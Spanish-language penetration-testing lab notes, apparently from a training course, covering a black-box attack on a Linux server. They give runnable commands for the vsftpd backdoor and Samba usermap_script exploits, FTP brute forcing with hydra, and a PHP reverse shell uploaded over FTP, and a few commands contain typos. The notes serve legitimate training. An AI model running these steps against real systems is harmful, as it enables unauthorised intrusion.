El siguiente diagrama describe las distintas fases involucradas en una prueba de penetración típica.
Black Box Methodology:
Host discovery
Port scanning & enumeration
Vulnerability detection/scanning
Exploitation
Manual
Automated
Post Exploitation
Privilege Escalation
Persistence
Dumping Hashes
Scenario & Scope
Acaba de comenzar su primer trabajo como evaluador de penetración junior y se le ha asignado la tarea de ayudar a realizar una prueba de penetración en la red de un cliente.
El responsable de la prueba de penetración quedó satisfecho con su capacidad para obtener acceso al servidor de destino de Windows y le ha asignado la tarea de realizar una prueba de penetración en un servidor Linux en la red del cliente.
Sus objetivos principales son:
Identify services running on the target
Identify vulnerabilities within the services
Exploit these vulnerabilities to obtain an initial foothold
Nota: Se le permite utilizar el marco Metasploit
Quiz: Linux Black Box Penetration Test
Port Scanning & Enumeration - Linux
Demo: Port Scanning & Enumeration
# Enumeracion
nmap -sV -pl-10000 10.2.20.22 -oN nmap_10k.txt
# Utilizar Netcat para ver banner de los puertos abiertos y relacionarlo con los servicios que se ejecutan
nc -nv 10.2.20.22 512
nc -nv 10.2.20.22 513
# Netcat se puede utilizar para conectarte a un puerto en especifico
root@attackdefense:-# nc -nv 10.2.20.22 1524
# Por que puede recibir un shell
cat /etc/*release
cd /home
# Tambien debe de explorar todas los servicios que tiene disponible el servidor
# Para explotar alguna vulnerbilidad
Quiz: Port Scanning & Enumeration - Linux
Targeting vsFTPd
Demo: Targeting vsFTPd
# Enumeracion
nmap -sV -sC -p 21 10.2.17.5
# Test de credenciales
root@attackdefense:-# ftp 10.2.17.5 21
Connected to 10.2.17.5.
220 (vsFTPd 2.3.4)
Name (10.2.17.5: root): anonymous
ftp > ls
# Buscamos algun exploit realcioado a la version
searchsploit vsftpd
searchsploit -m 49757
# Revisar el script para revisar la ejecucion del mismo
# Editar los parametros necesarios
vim 49757.py
chmod +x 49757. py
python3 49757.py 10.2.17.5
# Tener en cuenta como realiza el shell inverso
# Utilizando metasploit
msf6 > search vsftpd
msf6 > use 0
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.2.17.5
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
# En la mayoria de los casos no suele funcionar el exoloit
# Ataque de fuerza bruta
nmap -sV -p 25 10.2.17.5
# El puerto 25 es debido a que existe mas posibilidad de ver cuentas de usuarios
# Utilizamos metasploit
msf6 > search smtp_enum
msf6 > use 0
msf6 auxiliary(scanner/smtp/smtp_enum) > show options
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.2.17.5
msf6 auxiliary(scanner/smtp/smtp_enum) > run
# Una vez identificado los usuarios
# Podemos realizar un ataque de fuerza bruta mas optimizada con los usuarios
# encontrados
# Fuerza bruta
hydra -l service -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt 10.2.17.5 ftp
# Una vez encontrado las credenciales
# Pude authetnicarse pro ftp
# Obtener un shell reverso
# Ruta por tipo de lenguaje /usr/share/webshells/
cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php shell.php
# configurar el archivo PHP deacuerdo a sus necesidades
# El archivo enviarlo al FTP
ftp 10.2.17.5 21
ftp > cd dav
ftp > put shell.php
# Ejecutar el shell desde el navegador
# Servidor escucha Netcat
nc -nvlp 1234
sh-3.2$ /bin/bash -i
id
# Si bien no tenemos un usuario admin, podemos escalar privilegios
Quiz: Targeting vsFTPd
Targeting PHP
Demo: Targeting PHP
# Enumeracion
map -sV -sC -p 80 10.2.19.172
# Buscamos algun exploit
searchsploit php cgi
# Utilizamos un exploit
searchsploit -m 18836
# Modificar el exploit segun los parametros descritos en el script
python2 18836.py 10.2.19.172 80
# Ejecutar con un revershell
$sock=fsockopen("IP",1234) ; exec( "/bin/sh -i <&3 >&3 2>&3");
# Agregar el parametro al pwn_code del exploit
<?php ........ ?>
# Previamente habilitar Netcat
nc -nvlp 1234
# Para que nuestro revershell sea exitoso
$sock=fsockopen("IP",1234) ; exec( "/bin/sh -i <&4 >&4 2>&4");
# Shell lister
sh-3.2$ /bin/bash -i
# Ahoora debea de pasar a escalar privilegios
# Debde de entender el script para saber que debe de modificar
Quiz: : Targeting PHP
Targeting PHP
Demo: Targeting SAMBA
# Enumeracion
nmap -sV -p 445 10.2.17.132
# Ver algun banner
nc -nv 10.2.17.132 445
# Con metasploit
msf6 > search smb version
msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options
set RHOSTS 10.2.17.132
run
# Una vez encontrado la version podemos buscar algun exploit
searchsploit samba 3.0.20
# Utilizamos el metasploit
msf6 > search samba 3.0.20
msf6 > use 0
msf6 exploit (mutti/samba/usermap_script) > show options
set RHOSTS 10.2.17.132
show options
exploit
# Una ves expotado podemos escalar privilegios
sessions
sessions -u 1
# Revisar la nueva sesion que se abrio e ingresar
meterpreter > sysinfo
# Una ves sea system puede escalar privilegios o en caso de ser puede volvar hashes